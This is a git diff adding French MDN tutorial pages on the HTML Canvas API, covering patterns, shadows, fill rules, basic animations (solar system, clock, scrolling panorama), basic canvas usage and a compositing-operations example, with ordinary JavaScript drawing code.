Nous utilisons cette méthode pour créer un objet {{domxref ("CanvasPattern")}} qui est très similaire aux méthodes de dégradé que nous avons vu ci-dessus. Une fois que nous avons créé un modèle, nous pouvons l'affecter aux propriétés fillStyle ou strokeStyle. Par exemple :

+ +
var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img, 'repeat');
+ +
+

Note: Comme avec la méthode drawImage (), vous devez vous assurer que l'image que vous utilisez est chargée avant d'appeler cette méthode, ou le motif pourrait être mal dessiné.

+
+ +

Un exemple de createPattern

+ +

Dans ce dernier exemple, nous allons créer un modèle à affecter à la propriété fillStyle. La seule chose à noter, est l'utilisation du gestionnaire onload de l'image. Cela permet de s'assurer que l'image est chargée avant d'être affectée au motif.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // créer un nouvel objet image à utiliser comme modèle
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function() {
+
+    // créer le modèle
+    var ptrn = ctx.createPattern(img, 'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0, 0, 150, 150);
+
+  }
+}
+ + + +

{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}

+ +

Ombres

+ +

L'utilisation des ombres ne comporte que quatre propriétés :

+ +
+
{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}
+
Indique la distance horizontale sur laquelle l'ombre doit s'étendre à partir de l'objet. Cette valeur n'est pas affectée par la matrice de transformation. La valeur par défaut est 0.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}
+
Indique la distance verticale sur laquelle l'ombre doit s'étendre à partir de l'objet. Cette valeur n'est pas affectée par la matrice de transformation. La valeur par défaut est 0.
+
{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}
+
Indique la taille de l'effet de floutage ; cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle. La valeur par défaut est 0.
+
{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}
+
Une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ; par défaut, il est entièrement noir transparent.
+
+ +

Les propriétés shadowOffsetX et shadowOffsetY indiquent sur quelle distance l'ombre doit s'étendre à partir de l'objet dans les directions X et Y; ces valeurs ne sont pas affectées par la matrice de transformation actuelle. Utilisez des valeurs négatives pour faire en sorte que l'ombre s'étende vers le haut ou vers la gauche et des valeurs positives pour que l'ombre s'étende vers le bas ou vers la droite. La valeur par défaut est 0 pour les 2 propriétés.

+ +

La propriété shadowBlur indique la taille de l'effet de flou ; cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle. La valeur par défaut est 0.

+ +

La propriété shadowColor est une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ; par défaut, il est entièrement en noir transparent.

+ +
+

Note : Les ombres ne sont dessinées que pour les opérations de composition source-over.

+
+ +

Un exemple de texte ombré

+ +

Cet exemple dessine une chaîne de texte avec un effet d'ombrage.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = 'rgba(0, 0, 0, 0.5)';
+
+  ctx.font = '20px Times New Roman';
+  ctx.fillStyle = 'Black';
+  ctx.fillText('Sample String', 5, 30);
+}
+ + + +

{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}

+ +

Nous allons regarder la propriété de la font (police de caratères) et la méthode fillText dans le chapitre suivant sur le dessin de texte.

+ +

Règles de remplissage Canvas

+ +

Lors de l'utilisation de fill (ou {{domxref ("CanvasRenderingContext2D.clip", "clip")}} et {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) , déterminez si un point est à l'intérieur ou à l'extérieur d'un chemin et ainsi, s'il est rempli ou non. Ceci est utile lorsqu'un chemin en croise  un autre ou est imbriqué.
+
+ Deux valeurs sont possibles :

+ + + +

Dans cet exemple, nous utilisons la règle evenodd .

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
+  ctx.fill('evenodd');
+}
+ + + +

{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}

+ +

{{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/basic_animations/index.html b/files/fr/web/api/canvas_api/tutorial/basic_animations/index.html new file mode 100644 index 0000000000..f44929e8be --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/basic_animations/index.html @@ -0,0 +1,339 @@ +--- +title: Animations basiques +slug: Web/API/Canvas_API/Tutoriel_canvas/Animations_basiques +tags: + - Canvas + - Graphiques + - HTML + - HTML5 + - Intermédiaire + - Tutoriel +translation_of: Web/API/Canvas_API/Tutorial/Basic_animations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}
+ +
+

Avec l'utilisation en Javascript du composant {{HTMLElement("canvas")}}, il est très simple de créer des animations (interactives). Ce chapitre décrit comment créer quelques animations basiques.

+
+ +

La plus grosse limitation est sans doute qu'une fois qu'une forme est dessinée, elle reste telle quelle. Si on a besoin de la déplacer, il faut la redessiner avec ce qui était dessiné avant. Cela peut prendre beaucoup de temps de redessiner des images complexes et les performances dépendront beaucoup de la vitesse de l'ordinateur qui exécute cet affichage.

+ +

Les étapes d'une animation basique

+ +

Voici les étapes à suivre à chaque image dessinée (frame) :

+ +
    +
  1. Effacer le canevas
    + À moins que les formes que vous voulez dessiner remplissent complètement le canevas (par exemple une image en arrière-plan), vous devrez effacer toutes les formes qui ont été dessinées précédemment. La manière la plus simple de le faire est d'utiliser la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.
    2. +
  2. Enregistrer l'état du canevas
    + Si vous changez des configurations qui affectent l'état du canevas (comme le style, les transformations, etc.), et vous voulez vous assurer que c'est l'état original qui est utilisé chaque fois que le canevas est redessiné, alors vous devez enregistrer l'état original.
    3. +
  3. Dessiner les formes animées
    + Vous effectuez toutes les opérations pour afficher l'image.
    4. +
  4. Restaurer l'état du canevas
    + Si l'état du canevas a été sauvegardé, vous  restaurez cet état avant le prochain rendu.
    5. +
+ +

Contrôle d'une animation

+ +

Les formes sont dessinées en utilisant soit les méthodes du canevas directement soit en appelant des fonctions personnalisées. Dans des conditions normales, on ne voit le résultat des opérations sur le canevas que quand le script a terminé son exécution. Cela signifie qu'il n'est pas possible de créer une animation avec une boucle for.

+ +

Il nous faut donc un moyen d'exécuter nos fonctions de dessin sur une période de temps. Il existe à ce jour trois manières de le faire.

+ +

Mises à jour planifiées

+ +

Les fonctions {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, et {{domxref("window.requestAnimationFrame()")}} peuvent être utilisées :

+ +
+
{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}
+
Lance la fonction définie par function chaque delay (délai) millisecondes.
+
{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}
+
Exécute la fonction définie par function dans delay millisecondes.
+
{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}
+
Dit au navigateur qu'on veut afficher une animation et lui demande d'appeler la fonction callback pour mettre à jour cette animation avant de dessiner la prochaine image.
+
+ +

Si vous n'avez pas besoin d'interaction utilisateur, vous pouvez utiliser la fonction setInterval(), elle va exécuter périodiquement votre code.

+ +

Si vous voulez faire un jeu, et utiliser les événements du clavier et de la souris pour contrôler l'animation, vous pouvez utiliser setTimeout(). En utilisant des {{domxref("EventListener")}}, on peut récupèrer chaque interaction et d'exécuter nos fonctions d'animation.

+ +

Dans les exemples suivants, nous utiliserons {{domxref("window.requestAnimationFrame()")}} pour contrôler les animations. Cette technique est plus fluide et plus efficace, elle appelle les opérations de rendu quand le système est prêt à dessiner l'image. Dans des conditions idéales, la fonction est alors lancée 60 fois par seconde, mais la fréquence sera réduite si l'animation se passe dans un onglet non visible.

+ +
+

Pour plus d'informations sur la boucle d'animation, plus spécialement pour les jeux, rendez-vous sur l'article L'anatomie d'un jeu vidéo dans notre section Développement de jeux vidéo.

+
+ +

Un système terrestre animé

+ +

Cette exemple anime un petit modèle de notre système terrestre.

+ +
var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // effacer le canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Terre
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Ombre
+  ctx.drawImage(earth,-12,-12);
+
+  // Lune
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Orbite terrestre
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+
+ + + +

{{EmbedLiveSample("Un_système_terrestre_animé", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}

+ +

Une horloge animée

+ +

Cette exemple dessine une horloge animée qui affiche l'heure actuelle.

+ +
function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Marquage des heures
+  ctx.save();
+  for (var i=0;i<12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Marquage des minutes
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i<60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr>=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // Aiguille des heures
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Aiguille des minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Aiguille des secondes
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);
+ + + +

{{EmbedLiveSample("Une_horloge_animée", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}

+ +

Un panorama défilant en boucle

+ +

Dans cet exemple, un panorama défile de la gauche vers la droite et recommence. Nous utilisons une image du parc Yosemite National récupérée sur Wikimedia, vous pouvez utiliser une autre image de votre choix qui est plus grande que le canevas.

+ +
var img = new Image();
+
+// Variables utilisateur - les personnaliser pour changer l'image qui défile, ses
+// directions, et la vitesse.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; // plus elle est basse, plus c'est rapide
+var scale = 1.05;
+var y = -4.5; // décalage vertical
+
+// Programme principal
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width * scale;
+    imgH = img.height * scale;
+
+    if (imgW > CanvasXSize) {
+        // image plus grande que le canvas
+        x = CanvasXSize - imgW;
+    }
+    if (imgW > CanvasXSize) {
+        // largeur de l'image plus grande que le canvas
+        clearX = imgW;
+    } else {
+        clearX = CanvasXSize;
+    }
+    if (imgH > CanvasYSize) {
+        // hauteur de l'image plus grande que le canvas
+        clearY = imgH;
+    } else {
+        clearY = CanvasYSize;
+    }
+
+    // récupérer le contexte du canvas
+    ctx = document.getElementById('canvas').getContext('2d');
+
+    // définir le taux de rafraichissement
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    ctx.clearRect(0, 0, clearX, clearY); // clear the canvas
+
+    // si image est <= taille du canvas
+    if (imgW <= CanvasXSize) {
+        // réinitialise, repart du début
+        if (x > CanvasXSize) {
+            x = -imgW + x;
+        }
+        // dessine image1 supplémentaire
+        if (x > 0) {
+            ctx.drawImage(img, -imgW + x, y, imgW, imgH);
+        }
+        // dessine image2 supplémentaire
+        if (x - imgW > 0) {
+            ctx.drawImage(img, -imgW * 2 + x, y, imgW, imgH);
+        }
+    }
+
+    // image est > taille du canvas
+    else {
+        // réinitialise, repeart du début
+        if (x > (CanvasXSize)) {
+            x = CanvasXSize - imgW;
+        }
+        // dessine image supplémentaire
+        if (x > (CanvasXSize-imgW)) {
+            ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);
+        }
+    }
+    // dessine image
+    ctx.drawImage(img, x, y,imgW, imgH);
+    // quantité à déplacer
+    x += dx;
+}
+
+ +

En dessous, vous trouvez l'élément {{HTMLElement("canvas")}} avec l'image qui défile. Notez que les dimensions de largeur et de hauteur spécifiées doivent correspondre aux valeurs des variables CanvasXZSize et CanvasYSize dans le code JavaScript.

+ +
<canvas id="canvas" width="800" height="200"></canvas>
+ +

{{EmbedLiveSample("Un_panorama_défilant_en_boucle", "830", "230")}}

+ +

Autres exemples

+ +
+
Un raycaster basique avec canvas
+
Un bon exemple d'animation contrôlée par le clavier.
+
Animations avancées
+
Nous nous attarderons sur quelques techniques d'animation et de gestion de physique avancées dans le prochain châpitre.
+
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/basic_usage/index.html b/files/fr/web/api/canvas_api/tutorial/basic_usage/index.html new file mode 100644 index 0000000000..6182dee589 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/basic_usage/index.html @@ -0,0 +1,149 @@ +--- +title: Utilisation de base des canvas +slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_de_base +tags: + - Canvas + - Graphismes + - HTML + - Tutoriel_canvas + - Tutoriels +translation_of: Web/API/Canvas_API/Tutorial/Basic_usage +--- +

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}

+ +

L'élément <canvas>

+ +

Commençons par regarder l'élément {{HTMLElement("canvas")}} lui-même.

+ +
<canvas id="tutoriel" width="150" height="150"></canvas>
+
+ +

Ceci ressemble beaucoup à l'élément <img>. La seule différence est qu'il n'y a pas les attributs src et alt. L'élément <canvas> a seulement deux attributs : {{htmlattrxref ("width", "canvas")}} et {{htmlattrxref ("height", "canvas")}} (« largeur » et « hauteur »). Ces deux attributs sont optionnels et peuvent aussi être fixés à travers le DOM. Quand les attributs width et height ne sont pas spécifiés, le canvas sera initialement large de 300 pixels et haut de 150 pixels. Les dimensions du canvas peuvent être modifiés par du CSS, mais l'image sera dessinée selon les valeurs width et height du canvas et ensuite étirée pour afficher dans l'espace donné par le CSS.

+ +
+

Note : Si l'image semble déformée, essayez de spécifier de manière explicite vos attributs width et height dans l'élément <canvas>, et de ne pas utiliser de CSS.

+
+ +

L'attribut id n'est pas spécifique à l'élément <canvas>. C'est en fait un des attributs HTML de base qui peut être utilisé par presque tous les éléments HTML. C'est toujours mieux d'assigner une id car ça facilite beaucoup l'identification du canvas dans le code javascript.

+ +

L'élément <canvas> peut être stylisé comme n'importe quelle image normale (marges, contours, arrière-plan, etc). Si aucun style n'est donné, le canvas sera par défaut complètement transparent. Il faut noter que peu importe quels styles sont utilisés, le style n'affectera pas l'acte de dessiner sur le canvas. Nous verrons en détail la stylisation des canvas plus tard dans ce tutoriel.

+ +
+

Contenu de repli

+ +

Puisque certains plus anciens navigateurs ne supportent pas l'élément {{HTMLElement("canvas")}} (les plus communs étant les versions d'Internet Explorer avant la version 9), il est mieux d'avoir du contenu de repli pour afficher.

+ +

Heureusement, c'est très facile : il faut tout simplement mettre le contenu dans l'élément <canvas> lui-même. Les navigateurs qui ne supportent pas <canvas> vont afficher ce contenu de repli, et ceux qui supportent <canvas> vont l'ignorer et dessiner le canvas.

+ +

Le contenu de repli pourrait, par exemple, donner une description texte du canvas, ou afficher une image fixe comme aperçu de ce que le canvas dessinerait de façon dynamique.

+ +
<canvas id="stockGraph" width="150" height="150">
+  current stock price: $3.15 + 0.15
+</canvas>
+
+<canvas id="clock" width="150" height="150">
+  <img src="images/clock.png" width="150" height="150" alt=""/>
+</canvas>
+ +

La nécessité de la balise </canvas>

+ +

Au contraire de l'élément {{HTMLElement("img")}}, l'élément {{HTMLElement("canvas")}} requiert la balise fermante (</canvas>).

+ +
+

Note : Bien que quelques unes des premières versions du navigateur Safari ne requièrent pas la balise fermante, la spécification HTML indique qu'elle est nécessaire, alors il est mieux de l'inclure pour avoir le plus de compatibilité possible. Ces anciennes versions de Safari (avant la version 2.0) affichent le contenu de repli en plus que le canvas lui-même, sauf si vous utilisez des trucs CSS pour le masquer. Heureusement, il y a très peu d'utilisateurs de ces vieilles versions de Safari de nos jours.

+
+ +

Si vous n'avez pas besoin de contenu de repli, un simple <canvas id="foo" ...></canvas> est totalement compatible avec tous les navigateurs qui ont pris en charge la fonctionnalité canvas.

+ +

Le contexte de rendu

+ +

L'élément {{HTMLElement("canvas")}} crée une surface pour dessiner à grandeur fixe. Cette surface expose un ou plusieurs contextes de rendu, qui sont utilisés pour créer et manipuler le contenu affiché. Ce tutoriel se concentrera sur le contexte de rendu 2D. D'autres contextes permettent d'autres types de rendu, tel que le contexte WebGL, qui utilise un contexte 3D ("experimental-webgl") inspiré de OpenGL ES.

+ +

Initialement, le canvas est vide. Pour afficher quelque chose,  un script doit commencer par accéder au contexte de rendu pour pouvoir dessiner dessus. L'élément {{HTMLElement("canvas")}} a une méthode nommée getContext(), qui peut être utilisée pour obtenir le contexte de rendu et ses fonctions de dessin. getContext() a comme seul paramètre le type de contexte. Pour des graphiques 2D, comme ceux utilisés dans ce tutoriel, il faut spécifier "2d".

+ +
var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+ +

La première ligne obtient le {{HTMLElement("canvas")}} dans le DOM en appelant {{domxref("document.getElementById()")}}. Lorsque nous avons l'élément canvas, nous pouvons accéder au contexte de rendu en utilisant sa méthode getContext().

+ +
+

Vérification de la prise en charge

+ +

Le contenu de repli est affiché dans les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("canvas")}}. Les scripts peuvent aussi vérifier la prise en charge de manière programmatique en vérifiant la présence de la méthode getContext(). Notre extrait de code ci-dessus se transforme donc en ceci :

+ +
var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext) {
+  var ctx = canvas.getContext('2d');
+  // code de dessin dans le canvas
+} else {
+  // code pour le cas où canvas ne serait pas supporté
+}
+
+
+ +

Un modèle basique

+ +

Voici un modèle minimaliste, que nous allons utiliser comme point de départ dans des futurs exemples.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8"/>
+    <title>Canvas tutorial</title>
+    <script type="text/javascript">
+      function draw() {
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext) {
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    </script>
+    <style type="text/css">
+      canvas { border: 1px solid black; }
+    </style>
+  </head>
+  <body onload="draw();">
+    <canvas id="tutorial" width="150" height="150"></canvas>
+  </body>
+</html>
+ +

Ce script contient une fonction draw(), qui est exécutée lorsque la page a fini de charger. Ce résultat est obtenu en utilisant l'événement de chargement du document. Cette fonction, ou une fonction similaire, pourrait aussi être appelé en utilisant {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ou n'importe quel autre gestionnaire d'événement, tant que la page est chargée en premier.

+ +

Voici à quoi le modèle ressemble :

+ +

{{EmbedLiveSample("Un_modèle_basique", 160, 160)}}

+ +

Un exemple simple

+ +

Pour commencer, observons un exemple simple qui dessine deux rectangles qui s'intersectent, un d'entre eux ayant de la transparence alpha. Nous verrons plus en détail comment ça marche dans les exemples suivants.

+ +
<!DOCTYPE html>
+<html>
+ <head>
+  <meta charset="utf-8"/>
+  <script type="application/javascript">
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = 'rgb(200, 0, 0)';
+        ctx.fillRect(10, 10, 50, 50);
+
+        ctx.fillStyle = 'rgba(0, 0, 200, 0.5)';
+        ctx.fillRect(30, 30, 50, 50);
+      }
+    }
+  </script>
+ </head>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+ </body>
+</html>
+ +

Cet exemple ressemble a ceci :

+ +

{{EmbedLiveSample("Un_exemple_simple", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}

+ +

{{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/compositing/example/index.html b/files/fr/web/api/canvas_api/tutorial/compositing/example/index.html new file mode 100644 index 0000000000..8fbb3ec79c --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/compositing/example/index.html @@ -0,0 +1,295 @@ +--- +title: Exemple de composition +slug: Web/API/Canvas_API/Tutoriel_canvas/Composition/Example +tags: + - Canvas + - Exemple + - Graphisme + - HTML + - HTML5 + - Tutoriel +translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example +--- +
{{CanvasSidebar}}
+ +

Cet exemple illustre un certain nombre d'opérations de composition. Le résultat donne ceci:

+ +

{{EmbedLiveSample("Exemple_de_composition", "100%", 7250)}}

+ +

Exemple de composition

+ +

Ce code configure les valeurs globales utilisées par le reste du programme.

+ +
var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+"C'est la configuration par défaut, elle dessine les nouvelles formes au-dessus du contenu existant sur le canvas.",
+"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Tout le reste est rendu transparent.",
+"La nouvelle forme est dessinée uniquement là où il n'y a pas de contenu sur le canvas.",
+"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Elle s'ajoute au contenu existant.",
+"Les nouvelles formes sont dessinées derrière le contenu existant du canvas.",
+"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. Tout le reste est rendu transparent.",
+"Le contenu existant du canvas est conservé là où il ne chevauche pas la nouvelle forme.",
+"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. La nouvelle forme est dessinée derrière le contenu existant.",
+"La nouvelle forme est ajoutée en additionnant ses couleurs à celles du contenu existant.",
+"Seule la nouvelle forme est affichée.",
+"Les formes sont rendues transparentes lorsqu'elles se chevauchent.",
+"Les pixels de la nouvelle forme sont multipliés avec les pixels du contenu existant. Le résultat est une image plus sombre.",
+"Les pixels sont inversés, multipliés, puis inversés de nouveau. Le résultat est une image plus claire (l'inverse de multiply)",
+"Une combinaison de multiply et screen. Les parties sombres du contenu existant deviennent plus sombres, et les parties claires deviennent plus claires.",
+"Retiens les pixels les plus sombres entre les deux.",
+"Retiens les pixels les plus clairs entre les deux.",
+"Divise le layer inférieur par le layer supérieur inversé.",
+"Divise le layer inférieur inversé par le layer supérieur, puis inverse le résultat.",
+"Une combinaison de multiply et screen (comme overlay), mais avec le layer supérieur et inférieur inversés.",
+"Assombrit ou éclaircit les couleurs, en fonction de la couleur de la forme ajoutée.",
+"Soustrait le layer inférieur au layer supérieur ou inversemment pour toujours obtenir une valeur positive.",
+"Comme difference, mais avec un contraste moins élevé.",
+"Préserve la luminance et saturation du layer inférieur, et utilise la teinte du layer supérieur.",
+"Préserve la luminance et teinte du layer inférieur, et utilise la saturation du layer supérieur.",
+"Préserve la luminance du layer inférieur, et utilise la teinte et saturation du layer supérieur.",
+"Préserve la teinte et saturation du layer inférieur, et utilise la luminance du layer supérieur."
+].reverse();
+var width = 320;
+var height = 340;
+
+ +

Programme principal

+ +

Quand la page se charge, le code suivant s'exécute pour configurer et exécuter l'exemple:

+ +
window.onload = function() {
+    // lum en sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // redimensionne le canvas
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+
+ +

Et dans le code suivant, runComposite() gère la majeure partie du travail, en s'appuyant sur un certain nombre de fonctions utilitaires pour faire les parties difficiles.

+ +
function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+    return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+        var canvasToDrawOn = createCanvas();
+        var canvasToDrawFrom = createCanvas();
+        var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('existing content', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('new content', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+
+ +

Fonctions utilitaires

+ +

